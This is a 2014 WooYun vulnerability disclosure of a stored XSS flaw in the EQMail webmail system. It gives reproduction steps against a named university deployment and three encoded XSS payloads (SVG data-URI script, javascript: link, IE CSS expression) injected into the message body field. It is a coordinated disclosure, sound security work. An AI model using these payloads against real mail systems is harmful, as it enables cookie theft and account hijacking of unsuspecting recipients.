当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-051665

漏洞标题：EQMail电子邮件系统存储型XSS漏洞（涉及多所大学，知名企业以及政府部门）

相关厂商：eqmail.net

漏洞作者： mramydnei

提交时间：2014-02-22 12:55

修复时间：2014-05-23 12:56

公开时间：2014-05-23 12:56

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-22： 细节已通知厂商并且等待厂商处理中
2014-02-27： 厂商已经确认，细节仅向厂商公开
2014-03-02： 细节向第三方安全合作伙伴开放
2014-04-23： 细节向核心白帽子及相关领域专家公开
2014-05-03： 细节向普通白帽子公开
2014-05-13： 细节向实习白帽子公开
2014-05-23： 细节向公众公开

简要描述：

对邮件正文的过滤不严格导致恶意XSS代码植入

详细说明：

正在使用这套邮件系统的网站应该都会受到影响，受影响单位包括但不限于：
http://www.eqmail.net/kehu.html
下面以正在使用这套邮件系统的西安交通大学的为例，提供详细测试步骤：
http://stu.xjtu.edu.cn/
点击写信后，填写目标用户邮箱以及邮件标题，开启firefox插件tamper data进行抓包。（邮件内容可不填写）。在点击发送后，在tamper data抓到的包当中修改下图中messagehtml的值

0.png


为(这里以一个只在firefox下有效的方法为例，后面会附上其它方法)：

%3Csvg%3E
%3Cuse%0cxlink:href="data:image/svg%2bxml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI%2b
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8%2bDQ
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc%2b#rectangle"%0c/%3E%3C/svg%3E


并完成邮件发送，当目标用户打开邮件时，即可触发。实际测试当中可窃取目标用户的cookies。
由于邮件系统对event handler做了比较完善的过滤处理，所以对于其它浏览器环境只能提供一些需要用户交互的方法，测试步骤和上面的相同只需将htmlmesage的内容替换为下面的值
方法2 测试于IE10,11 firefox27 chrome33

%3Csvg%3E%3Ca%0cxlink:href="javascript:alert(56)"%3E%3Crect%0cwidth="100%"%0cheight="100%"%0cfill="black"/%3E%3C/a%3E%3C/svg%3E


当目标用户点击邮件中黑色的部分，即可触发XSS。实际攻击过程当中可以对点击区域的部分进行适当的调节，来提高命中率。
方法3 测试于IE6，7，8，9 

%3Cdiv%0cstyle="z:expression(alert(1))"%3E


用户后查看邮件后触发，无须用户交互

漏洞证明：

final.png

修复方案：

对于邮件正文中可能出现的恶业代码进行针对性过滤。

版权声明：转载请注明来源 mramydnei@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-02-27 08:30

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-02-22 13:09 | 鬼见愁 ( 路人 | Rank:10 漏洞数:1 | 挖洞之神)

    额

  2. 2014-02-23 00:38 | 奎尼 ( 路人 | Rank:13 漏洞数:1 | >///<"')

    这是要提现的节奏么

  3. 2014-02-23 03:07 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    @奎尼 不可能= =

  4. 2014-05-23 13:13 | moult ( 路人 | Rank:26 漏洞数:4 | 奥利奥、奥利奥、奥奥奥奥奥、奥利奥。。。)

    您可知道，alert中暴露了Email...噗噗噗，查水表。。。

  5. 2014-05-23 18:53 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    @moult 啥都怕，就不怕水表